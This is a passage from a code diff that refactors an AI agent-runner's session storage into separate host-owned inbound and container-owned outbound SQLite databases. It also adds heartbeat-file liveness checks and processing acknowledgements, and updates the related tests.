container/agent-runner/src/db/messages-out.ts | 89 ++++--- container/agent-runner/src/index.ts | 12 +- .../agent-runner/src/integration.test.ts | 12 +- .../agent-runner/src/mcp-tools/interactive.ts | 16 +- .../agent-runner/src/mcp-tools/scheduling.ts | 80 +++--- container/agent-runner/src/poll-loop.test.ts | 14 +- container/agent-runner/src/poll-loop.ts | 9 +- container/agent-runner/tsconfig.json | 2 +- scripts/test-v2-host.ts | 44 +++- src/channels/channel-registry.test.ts | 4 +- src/container-runner.ts | 28 +- src/db/schema.ts | 31 ++- src/delivery.ts | 126 ++++++++- src/host-core.test.ts | 58 +++-- src/host-sweep.ts | 245 +++++++++++------- src/session-manager.ts | 98 ++++--- 19 files changed, 738 insertions(+), 347 deletions(-) diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 46f4a70..31f2fb2 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -1,31 +1,86 @@ +/** + * Two-DB connection layer. + * + * The session uses two SQLite files to eliminate write contention across + * the host-container mount boundary: + * + * inbound.db — host writes new messages here; container opens READ-ONLY + * outbound.db — container writes responses + acks here; host opens read-only + * + * Each file has exactly one writer, so no cross-process lock contention. + */ import Database from 'better-sqlite3'; +import fs from 'fs'; -const SESSION_DB_PATH = '/workspace/session.db'; +const DEFAULT_INBOUND_PATH = '/workspace/inbound.db'; +const DEFAULT_OUTBOUND_PATH = '/workspace/outbound.db'; +const DEFAULT_HEARTBEAT_PATH = '/workspace/.heartbeat'; -let _db: Database.Database | null = null; +let _inbound: Database.Database | null = null; +let _outbound: Database.Database | null = null; +let _heartbeatPath: string = DEFAULT_HEARTBEAT_PATH; -export function getSessionDb(): Database.Database { - if (!_db) { - _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); - _db.pragma('journal_mode = DELETE'); - _db.pragma('busy_timeout = 5000'); - _db.pragma('foreign_keys = ON'); +/** Inbound DB — container opens read-only (host is the sole writer). */ +export function getInboundDb(): Database.Database { + if (!_inbound) { + const dbPath = process.env.SESSION_INBOUND_DB_PATH || DEFAULT_INBOUND_PATH; + _inbound = new Database(dbPath, { readonly: true }); + _inbound.pragma('busy_timeout = 5000'); } - return _db; + return _inbound; } -/** For tests — opens an in-memory DB with session schema. */ -export function initTestSessionDb(): Database.Database { - _db = new Database(':memory:'); - _db.pragma('foreign_keys = ON'); - _db.exec(` +/** Outbound DB — container owns this file (sole writer). */ +export function getOutboundDb(): Database.Database { + if (!_outbound) { + const dbPath = process.env.SESSION_OUTBOUND_DB_PATH || DEFAULT_OUTBOUND_PATH; + _outbound = new Database(dbPath); + _outbound.pragma('journal_mode = DELETE'); + _outbound.pragma('busy_timeout = 5000'); + _outbound.pragma('foreign_keys = ON'); + } + return _outbound; +} + +/** + * Touch the heartbeat file — replaces the old touchProcessing() DB writes. + * The host checks this file's mtime for stale container detection. + * A file touch is cheaper and avoids cross-boundary DB write contention. + */ +export function touchHeartbeat(): void { + const p = process.env.SESSION_HEARTBEAT_PATH || _heartbeatPath; + const now = new Date(); + try { + fs.utimesSync(p, now, now); + } catch { + try { + fs.writeFileSync(p, ''); + } catch { + // Silently ignore — parent dir may not exist (e.g., in-memory test DBs) + } + } +} + +/** + * Clear stale processing_ack entries on container startup. + * If the previous container crashed, 'processing' entries are leftover. + * Clearing them lets the new container re-process those messages. + */ +export function clearStaleProcessingAcks(): void { + getOutboundDb().prepare("DELETE FROM processing_ack WHERE status = 'processing'").run(); +} + +/** For tests — creates in-memory DBs with the session schemas. */ +export function initTestSessionDb(): { inbound: Database.Database; outbound: Database.Database } { + _inbound = new Database(':memory:'); + _inbound.pragma('foreign_keys = ON'); + _inbound.exec(` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', - status_changed TEXT, process_after TEXT, recurrence TEXT, tries INTEGER DEFAULT 0, @@ -34,12 +89,20 @@ export function initTestSessionDb(): Database.Database { thread_id TEXT, content TEXT NOT NULL ); + CREATE TABLE delivered ( + message_out_id TEXT PRIMARY KEY, + delivered_at TEXT NOT NULL + ); + `); + + _outbound = new Database(':memory:'); + _outbound.pragma('foreign_keys = ON'); + _outbound.exec(` CREATE TABLE messages_out ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, - delivered INTEGER DEFAULT 0, deliver_after TEXT, recurrence TEXT, kind TEXT NOT NULL, @@ -48,11 +111,27 @@ export function initTestSessionDb(): Database.Database { thread_id TEXT, content TEXT NOT NULL ); + CREATE TABLE processing_ack ( + message_id TEXT PRIMARY KEY, + status TEXT NOT NULL, + status_changed TEXT NOT NULL + ); `); - return _db; + + return { inbound: _inbound, outbound: _outbound }; } export function closeSessionDb(): void { - _db?.close(); - _db = null; + _inbound?.close(); + _inbound = null; + _outbound?.close(); + _outbound = null; +} + +/** + * @deprecated Use getInboundDb() / getOutboundDb() instead. + * Kept for backward compatibility during migration. + */ +export function getSessionDb(): Database.Database { + return getInboundDb(); } diff --git a/container/agent-runner/src/db/index.ts b/container/agent-runner/src/db/index.ts index 63c00d3..cbd0e7e 100644 --- a/container/agent-runner/src/db/index.ts +++ b/container/agent-runner/src/db/index.ts @@ -1,5 +1,13 @@ -export { getSessionDb, initTestSessionDb, closeSessionDb } from './connection.js'; +export { + getInboundDb, + getOutboundDb, + getSessionDb, + initTestSessionDb, + closeSessionDb, + touchHeartbeat, + clearStaleProcessingAcks, +} from './connection.js'; export { getPendingMessages, markProcessing, markCompleted, markFailed, getMessageIn, findQuestionResponse } from './messages-in.js'; export type { MessageInRow } from './messages-in.js'; -export { writeMessageOut, getUndeliveredMessages, markDelivered } from './messages-out.js'; +export { writeMessageOut, getUndeliveredMessages } from './messages-out.js'; export type { MessageOutRow, WriteMessageOut } from './messages-out.js'; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index 579eb15..fe2a222 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -1,4 +1,13 @@ -import { getSessionDb } from './connection.js'; +/** + * Inbound message operations (container side). + * + * Reads from inbound.db (host-owned, opened read-only). + * Writes processing status to processing_ack in outbound.db (container-owned). + * + * The container never writes to inbound.db — all status tracking goes through + * processing_ack. The host reads processing_ack to sync message lifecycle. + */ +import { getInboundDb, getOutboundDb } from './connection.js'; export interface MessageInRow { id: string; @@ -6,7 +15,6 @@ export interface MessageInRow { kind: string; timestamp: string; status: string; - status_changed: string | null; process_after: string | null; recurrence: string | null; tries: number; @@ -16,9 +24,16 @@ export interface MessageInRow { content: string; } -/** Fetch all pending messages that are due for processing. */ +/** + * Fetch pending messages that are due for processing. + * Reads from inbound.db (read-only), filters against processing_ack in outbound.db + * to skip messages already picked up by this or a previous container run. + */ export function getPendingMessages(): MessageInRow[] { - return getSessionDb() + const inbound = getInboundDb(); + const outbound = getOutboundDb(); + + const pending = inbound .prepare( `SELECT * FROM messages_in WHERE status = 'pending' @@ -26,49 +41,74 @@ export function getPendingMessages(): MessageInRow[] { ORDER BY timestamp ASC`, ) .all() as MessageInRow[]; + + if (pending.length === 0) return []; + + // Filter out messages already acknowledged in outbound.db + const ackedIds = new Set( + (outbound.prepare('SELECT message_id FROM processing_ack').all() as Array<{ message_id: string }>).map( + (r) => r.message_id, + ), + ); + + return pending.filter((m) => !ackedIds.has(m.id)); } -/** Mark messages as processing. */ +/** Mark messages as processing — writes to processing_ack in outbound.db. */ export function markProcessing(ids: string[]): void { if (ids.length === 0) return; - const db = getSessionDb(); - const stmt = db.prepare("UPDATE messages_in SET status = 'processing', status_changed = datetime('now'), tries = tries + 1 WHERE id = ?"); + const db = getOutboundDb(); + const stmt = db.prepare( + "INSERT OR REPLACE INTO processing_ack (message_id, status, status_changed) VALUES (?, 'processing', datetime('now'))", + ); db.transaction(() => { for (const id of ids) stmt.run(id); })(); } -/** Mark messages as completed. */ +/** Mark messages as completed — updates processing_ack in outbound.db. */ export function markCompleted(ids: string[]): void { if (ids.length === 0) return; - const db = getSessionDb(); - const stmt = db.prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ?"); + const db = getOutboundDb(); + const stmt = db.prepare( + "INSERT OR REPLACE INTO processing_ack (message_id, status, status_changed) VALUES (?, 'completed', datetime('now'))", + ); db.transaction(() => { for (const id of ids) stmt.run(id); })(); } -/** Update status_changed on processing messages (heartbeat for host idle detection). */ -export function touchProcessing(ids: string[]): void { - if (ids.length === 0) return; - const db = getSessionDb(); - const stmt = db.prepare("UPDATE messages_in SET status_changed = datetime('now') WHERE id = ? AND status = 'processing'"); - for (const id of ids) stmt.run(id); -} - -/** Mark a single message as failed. */ +/** Mark a single message as failed — writes to processing_ack in outbound.db. */ export function markFailed(id: string): void { - getSessionDb().prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(id); + getOutboundDb() + .prepare( + "INSERT OR REPLACE INTO processing_ack (message_id, status, status_changed) VALUES (?, 'failed', datetime('now'))", + ) + .run(id); } -/** Get a message by ID. */ +/** Get a message by ID (read from inbound.db). */ export function getMessageIn(id: string): MessageInRow | undefined { - return getSessionDb().prepare('SELECT * FROM messages_in WHERE id = ?').get(id) as MessageInRow | undefined; + return getInboundDb().prepare('SELECT * FROM messages_in WHERE id = ?').get(id) as MessageInRow | undefined; } -/** Find a pending response to a question (by questionId in content). */ +/** + * Find a pending response to a question (by questionId in content). + * Reads from inbound.db, checks processing_ack to skip already-handled responses. + */ export function findQuestionResponse(questionId: string): MessageInRow | undefined { - return getSessionDb() + const inbound = getInboundDb(); + const outbound = getOutboundDb(); + + const response = inbound .prepare("SELECT * FROM messages_in WHERE status = 'pending' AND content LIKE ?") .get(`%"questionId":"${questionId}"%`) as MessageInRow | undefined; + + if (!response) return undefined; + + // Check it hasn't been acked already + const acked = outbound.prepare('SELECT 1 FROM processing_ack WHERE message_id = ?').get(response.id); + if (acked) return undefined; + + return response; } diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index df6ebef..55e078c 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -1,11 +1,16 @@ -import { getSessionDb } from './connection.js'; +/** + * Outbound message operations (container side). + * + * Writes to outbound.db (container-owned). + * The host polls this DB (read-only) for undelivered messages. + */ +import { getInboundDb, getOutboundDb } from './connection.js'; export interface MessageOutRow { id: string; seq: number | null; in_reply_to: string | null; timestamp: string; - delivered: number; deliver_after: string | null; recurrence: string | null; kind: string; @@ -27,59 +32,63 @@ export interface WriteMessageOut { content: string; } -/** Write a new outbound message, auto-assigning a seq number. */ +/** + * Write a new outbound message, auto-assigning an odd seq number. + * Container uses odd seq (1, 3, 5...), host uses even (2, 4, 6...) — + * this prevents seq collisions without cross-DB coordination. + */ export function writeMessageOut(msg: WriteMessageOut): number { - const db = getSessionDb(); - const nextSeq = ( - db - .prepare( - `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( - SELECT seq FROM messages_in WHERE seq IS NOT NULL - UNION ALL - SELECT seq FROM messages_out WHERE seq IS NOT NULL - )`, - ) - .get() as { next: number } - ).next; + const outbound = getOutboundDb(); + const inbound = getInboundDb(); - db.prepare( - `INSERT INTO messages_out (id, seq, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, @seq, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, - ).run({ - in_reply_to: null, - deliver_after: null, - recurrence: null, - platform_id: null, - channel_type: null, - thread_id: null, - ...msg, - seq: nextSeq, - }); + // Read max seq from both DBs to maintain global ordering. + // Safe: each side only reads the other DB, never writes to it. + const maxOut = (outbound.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_out').get() as { m: number }).m; + const maxIn = (inbound.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; + const max = Math.max(maxOut, maxIn); + const nextSeq = max % 2 === 0 ? max + 1 : max + 2; // next odd + + outbound + .prepare( + `INSERT INTO messages_out (id, seq, in_reply_to, timestamp, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, @in_reply_to, datetime('now'), @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + in_reply_to: null, + deliver_after: null, + recurrence: null, + platform_id: null, + channel_type: null, + thread_id: null, + ...msg, + seq: nextSeq, + }); return nextSeq; } -/** Look up a message's platform ID by seq number. */ +/** + * Look up a message's platform ID by seq number. + * Searches both inbound and outbound DBs since seq spans both. + */ export function getMessageIdBySeq(seq: number): string | null { - const inRow = getSessionDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as { id: string } | undefined; + const inRow = getInboundDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as + | { id: string } + | undefined; if (inRow) return inRow.id; - const outRow = getSessionDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as { id: string } | undefined; + const outRow = getOutboundDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as + | { id: string } + | undefined; return outRow?.id ?? null; } -/** Get undelivered messages (for host polling). */ +/** Get undelivered messages (for host polling — reads from outbound.db). */ export function getUndeliveredMessages(): MessageOutRow[] { - return getSessionDb() + return getOutboundDb() .prepare( `SELECT * FROM messages_out - WHERE delivered = 0 - AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + WHERE (deliver_after IS NULL OR deliver_after <= datetime('now')) ORDER BY timestamp ASC`, ) .all() as MessageOutRow[]; } - -/** Mark a message as delivered. */ -export function markDelivered(id: string): void { - getSessionDb().prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(id); -} diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index db6523a..8f91e6e 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -5,14 +5,18 @@ * No stdin, no stdout markers, no IPC files. * * Config: - * - SESSION_DB_PATH: path to session SQLite DB (default: /workspace/session.db) + * - SESSION_INBOUND_DB_PATH: path to host-owned inbound DB (default: /workspace/inbound.db) + * - SESSION_OUTBOUND_DB_PATH: path to container-owned outbound DB (default: /workspace/outbound.db) + * - SESSION_HEARTBEAT_PATH: heartbeat file path (default: /workspace/.heartbeat) * - AGENT_PROVIDER: 'claude' | 'mock' (default: claude) * - NANOCLAW_ASSISTANT_NAME: assistant name for transcript archiving * - NANOCLAW_ADMIN_USER_ID: admin user ID for permission checks * * Mount structure: * /workspace/ - * session.db ← session SQLite DB + * inbound.db ← host-owned session DB (container reads only) + * outbound.db ← container-owned session DB + * .heartbeat ← container touches for liveness detection * outbox/ ← outbound files * agent/ ← agent group folder (CLAUDE.md, skills, working files) * .claude/ ← Claude SDK session data @@ -80,7 +84,9 @@ async function main(): Promise { command: 'node', args: [mcpServerPath], env: { - SESSION_DB_PATH: process.env.SESSION_DB_PATH || '/workspace/session.db', + SESSION_INBOUND_DB_PATH: process.env.SESSION_INBOUND_DB_PATH || '/workspace/inbound.db', + SESSION_OUTBOUND_DB_PATH: process.env.SESSION_OUTBOUND_DB_PATH || '/workspace/outbound.db', + SESSION_HEARTBEAT_PATH: process.env.SESSION_HEARTBEAT_PATH || '/workspace/.heartbeat', }, }, }, diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index 63c07b7..ae76e87 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,6 +1,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -15,7 +15,7 @@ afterEach(() => { }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { - getSessionDb() + getInboundDb() .prepare( `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) VALUES (?, 'chat', datetime('now'), 'pending', ?, ?, ?, ?)`, @@ -25,20 +25,16 @@ function insertMessage(id: string, content: object, opts?: { platformId?: string describe('poll loop integration', () => { it('should pick up a message, process it, and write a response', async () => { - // Insert a message before starting the loop insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); const provider = new MockProvider(() => '42'); - // Run the poll loop in background, abort after it processes const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); - // Wait for processing await waitFor(() => getUndeliveredMessages().length > 0, 2000); controller.abort(); - // Verify const out = getUndeliveredMessages(); expect(out).toHaveLength(1); expect(JSON.parse(out[0].content).text).toBe('42'); @@ -47,11 +43,11 @@ describe('poll loop integration', () => { expect(out[0].thread_id).toBe('thread-1'); expect(out[0].in_reply_to).toBe('m1'); - // Input message should be completed + // Input message should be acked (not pending) const pending = getPendingMessages(); expect(pending).toHaveLength(0); - await loopPromise.catch(() => {}); // swallow abort + await loopPromise.catch(() => {}); }); it('should process multiple messages in a batch', async () => { diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts index dbd6ad6..f726876 100644 --- a/container/agent-runner/src/mcp-tools/interactive.ts +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -4,7 +4,7 @@ * ask_user_question is a blocking tool call — it writes a messages_out row * with a question card, then polls messages_in for the response. */ -import { getSessionDb } from '../db/connection.js'; +import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -64,7 +64,7 @@ export const askUserQuestion: McpToolDefinition = { const questionId = generateId(); const r = routing(); - // Write question card to messages_out + // Write question card to outbound.db writeMessageOut({ id: questionId, kind: 'chat-sdk', @@ -81,19 +81,15 @@ export const askUserQuestion: McpToolDefinition = { log(`ask_user_question: ${questionId} → "${question}" [${options.join(', ')}]`); - // Poll for response in messages_in + // Poll for response in inbound.db (host writes the response there) const deadline = Date.now() + timeout; while (Date.now() < deadline) { - const response = getSessionDb() - .prepare("SELECT content FROM messages_in WHERE kind = 'system' AND content LIKE ? AND status = 'pending' LIMIT 1") - .get(`%"questionId":"${questionId}"%`) as { content: string } | undefined; + const response = findQuestionResponse(questionId); if (response) { const parsed = JSON.parse(response.content); - // Mark the response as completed so the poll loop doesn't pick it up - getSessionDb() - .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE kind = 'system' AND content LIKE ?") - .run(`%"questionId":"${questionId}"%`); + // Mark the response as completed via processing_ack (outbound.db) + markCompleted([response.id]); log(`ask_user_question response: ${questionId} → ${parsed.selectedOption}`); return ok(parsed.selectedOption); diff --git a/container/agent-runner/src/mcp-tools/scheduling.ts b/container/agent-runner/src/mcp-tools/scheduling.ts index 3f3d0d0..be3b576 100644 --- a/container/agent-runner/src/mcp-tools/scheduling.ts +++ b/container/agent-runner/src/mcp-tools/scheduling.ts @@ -1,10 +1,12 @@ /** * Scheduling MCP tools: schedule_task, list_tasks, cancel_task, pause_task, resume_task. * - * Tasks are messages_in rows with process_after timestamps and optional recurrence. - * The host sweep detects due tasks and wakes the container. + * With the two-DB split, the container cannot write to inbound.db (host-owned). + * Scheduling operations are sent as system actions via messages_out — the host + * reads them during delivery and applies the changes to inbound.db. */ -import { getSessionDb } from '../db/connection.js'; +import { getInboundDb } from '../db/connection.js'; +import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -57,22 +59,22 @@ export const scheduleTask: McpToolDefinition = { const recurrence = (args.recurrence as string) || null; const script = (args.script as string) || null; - const content = JSON.stringify({ prompt, script }); - - getSessionDb() - .prepare( - `INSERT INTO messages_in (id, timestamp, status, status_changed, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, datetime('now'), 'pending', datetime('now'), 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, - ) - .run({ - id, - process_after: processAfter, + // Write as a system action — host will insert into inbound.db + writeMessageOut({ + id, + kind: 'system', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ + action: 'schedule_task', + taskId: id, + prompt, + script, + processAfter, recurrence, - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, - content, - }); + }), + }); log(`schedule_task: ${id} at ${processAfter}${recurrence ? ` (recurring: ${recurrence})` : ''}`); return ok(`Task scheduled (id: ${id}, runs at: ${processAfter}${recurrence ? `, recurrence: ${recurrence}` : ''})`); @@ -92,13 +94,14 @@ export const listTasks: McpToolDefinition = { }, async handler(args) { const status = args.status as string | undefined; + const db = getInboundDb(); let rows; if (status) { - rows = getSessionDb() + rows = db .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status = ? ORDER BY process_after ASC") .all(status); } else { - rows = getSessionDb() + rows = db .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status NOT IN ('completed') ORDER BY process_after ASC") .all(); } @@ -131,14 +134,15 @@ export const cancelTask: McpToolDefinition = { const taskId = args.taskId as string; if (!taskId) return err('taskId is required'); - const result = getSessionDb() - .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") - .run(taskId); - - if (result.changes === 0) return err(`Task not found or not cancellable: ${taskId}`); + // Write as a system action — host will update inbound.db + writeMessageOut({ + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + content: JSON.stringify({ action: 'cancel_task', taskId }), + }); log(`cancel_task: ${taskId}`); - return ok(`Task cancelled: ${taskId}`); + return ok(`Task cancellation requested: ${taskId}`); }, }; @@ -158,14 +162,14 @@ export const pauseTask: McpToolDefinition = { const taskId = args.taskId as string; if (!taskId) return err('taskId is required'); - const result = getSessionDb() - .prepare("UPDATE messages_in SET status = 'paused', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'pending'") - .run(taskId); - - if (result.changes === 0) return err(`Task not found or not pausable: ${taskId}`); + writeMessageOut({ + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + content: JSON.stringify({ action: 'pause_task', taskId }), + }); log(`pause_task: ${taskId}`); - return ok(`Task paused: ${taskId}`); + return ok(`Task pause requested: ${taskId}`); }, }; @@ -185,14 +189,14 @@ export const resumeTask: McpToolDefinition = { const taskId = args.taskId as string; if (!taskId) return err('taskId is required'); - const result = getSessionDb() - .prepare("UPDATE messages_in SET status = 'pending', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'paused'") - .run(taskId); - - if (result.changes === 0) return err(`Task not found or not paused: ${taskId}`); + writeMessageOut({ + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + content: JSON.stringify({ action: 'resume_task', taskId }), + }); log(`resume_task: ${taskId}`); - return ok(`Task resumed: ${taskId}`); + return ok(`Task resume requested: ${taskId}`); }, }; diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts index 03fc0c7..718be53 100644 --- a/container/agent-runner/src/poll-loop.test.ts +++ b/container/agent-runner/src/poll-loop.test.ts @@ -1,6 +1,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; import { getPendingMessages, markCompleted } from './db/messages-in.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { formatMessages, extractRouting } from './formatter.js'; @@ -15,7 +15,7 @@ afterEach(() => { }); function insertMessage(id: string, kind: string, content: object, opts?: { processAfter?: string }) { - getSessionDb() + getInboundDb() .prepare( `INSERT INTO messages_in (id, kind, timestamp, status, process_after, content) VALUES (?, ?, datetime('now'), 'pending', ?, ?)`, @@ -86,7 +86,7 @@ describe('formatter', () => { describe('routing', () => { it('should extract routing from messages', () => { - getSessionDb() + getInboundDb() .prepare( `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) VALUES ('m1', 'chat', datetime('now'), 'pending', 'chan-123', 'discord', 'thread-456', '{"text":"hi"}')`, @@ -113,7 +113,6 @@ describe('mock provider', () => { }); const events: Array<{ type: string }> = []; - // End the stream after initial response setTimeout(() => query.end(), 50); for await (const event of query.events) { @@ -138,7 +137,6 @@ describe('mock provider', () => { const events: Array<{ type: string; text?: string }> = []; - // Push a follow-up after a short delay, then end setTimeout(() => query.push('Second'), 30); setTimeout(() => query.end(), 60); @@ -155,7 +153,7 @@ describe('mock provider', () => { describe('end-to-end with mock provider', () => { it('should read messages_in, process with mock provider, write messages_out', async () => { - // Insert a chat message + // Insert a chat message into inbound DB insertMessage('m1', 'chat', { sender: 'User', text: 'What is 2+2?' }); // Read and process @@ -198,11 +196,11 @@ describe('end-to-end with mock provider', () => { markCompleted(['m1']); - // Verify: message was processed + // Verify: message was processed (not pending, acked in processing_ack) const processed = getPendingMessages(); expect(processed).toHaveLength(0); - // Verify: response was written + // Verify: response was written to outbound DB const outMessages = getUndeliveredMessages(); expect(outMessages).toHaveLength(1); expect(JSON.parse(outMessages[0].content).text).toBe('The answer is 4'); diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 21fc8e1..149083e 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,5 +1,6 @@ -import { getPendingMessages, markProcessing, markCompleted, touchProcessing, type MessageInRow } from './db/messages-in.js'; +import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; +import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; @@ -38,6 +39,10 @@ export async function runPollLoop(config: PollLoopConfig): Promise { let sessionId: string | undefined; let resumeAt: string | undefined; + // Clear leftover 'processing' acks from a previous crashed container. + // This lets the new container re-process those messages. + clearStaleProcessingAcks(); + let pollCount = 0; while (true) { // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) @@ -260,7 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: for await (const event of query.events) { lastEventTime = Date.now(); handleEvent(event, routing); - touchProcessing(processingIds); + touchHeartbeat(); if (event.type === 'init') { querySessionId = event.sessionId; diff --git a/container/agent-runner/tsconfig.json b/container/agent-runner/tsconfig.json index d71b5ff..008fdc9 100644 --- a/container/agent-runner/tsconfig.json +++ b/container/agent-runner/tsconfig.json @@ -11,5 +11,5 @@ "declaration": true }, "include": ["src/**/*"], - "exclude": ["node_modules", "dist", "src/**/*.test.ts"] + "exclude": ["node_modules", "dist", "src/**/*.test.ts", "src/v1/**/*"] } diff --git a/scripts/test-v2-host.ts b/scripts/test-v2-host.ts index d047d5f..9ebe297 100644 --- a/scripts/test-v2-host.ts +++ b/scripts/test-v2-host.ts @@ -2,9 +2,9 @@ * Real end-to-end test of v2: host router → Docker container → agent-runner → delivery. * * 1. Init central DB with agent group + messaging group + wiring - * 2. Route an inbound message (creates session, writes messages_in, spawns container) - * 3. Container runs v2 agent-runner, polls session DB, queries Claude - * 4. Poll session DB for messages_out response + * 2. Route an inbound message (creates session, writes inbound.db, spawns container) + * 3. Container runs v2 agent-runner, polls inbound.db, queries Claude, writes outbound.db + * 4. Poll outbound.db for messages_out response * * Usage: npx tsx scripts/test-v2-host.ts */ @@ -71,7 +71,7 @@ console.log('\n=== Step 2: Route inbound message ==='); import { routeInbound } from '../src/router.js'; import { findSession } from '../src/db/sessions.js'; -import { sessionDbPath } from '../src/session-manager.js'; +import { inboundDbPath, outboundDbPath } from '../src/session-manager.js'; await routeInbound({ channelType: 'test', @@ -96,8 +96,10 @@ if (!session) { console.log(`✓ Session: ${session.id}`); console.log(`✓ Container status: ${session.container_status}`); -const sessDbPath = sessionDbPath('ag-e2e', session.id); -console.log(`✓ Session DB: ${sessDbPath}`); +const inDbPath = inboundDbPath('ag-e2e', session.id); +const outDbPath = outboundDbPath('ag-e2e', session.id); +console.log(`✓ Inbound DB: ${inDbPath}`); +console.log(`✓ Outbound DB: ${outDbPath}`); // --- Step 3: Wait for response --- console.log('\n=== Step 3: Waiting for Claude response... ==='); @@ -107,7 +109,7 @@ const TIMEOUT_MS = 120_000; const checkForResponse = (): boolean => { try { - const db = new Database(sessDbPath, { readonly: true }); + const db = new Database(outDbPath, { readonly: true }); const out = db.prepare('SELECT * FROM messages_out').all() as Array>; db.close(); return out.length > 0; @@ -147,22 +149,36 @@ process.exit(0); function printState() { try { - const db = new Database(sessDbPath, { readonly: true }); - const inRows = db.prepare('SELECT * FROM messages_in').all() as Array>; - const outRows = db.prepare('SELECT * FROM messages_out').all() as Array>; - db.close(); + const inDb = new Database(inDbPath, { readonly: true }); + const inRows = inDb.prepare('SELECT * FROM messages_in').all() as Array>; + inDb.close(); - console.log('\nmessages_in:'); + console.log('\nmessages_in (inbound.db):'); for (const r of inRows) { console.log(` [${r.id}] status=${r.status} kind=${r.kind}`); } - 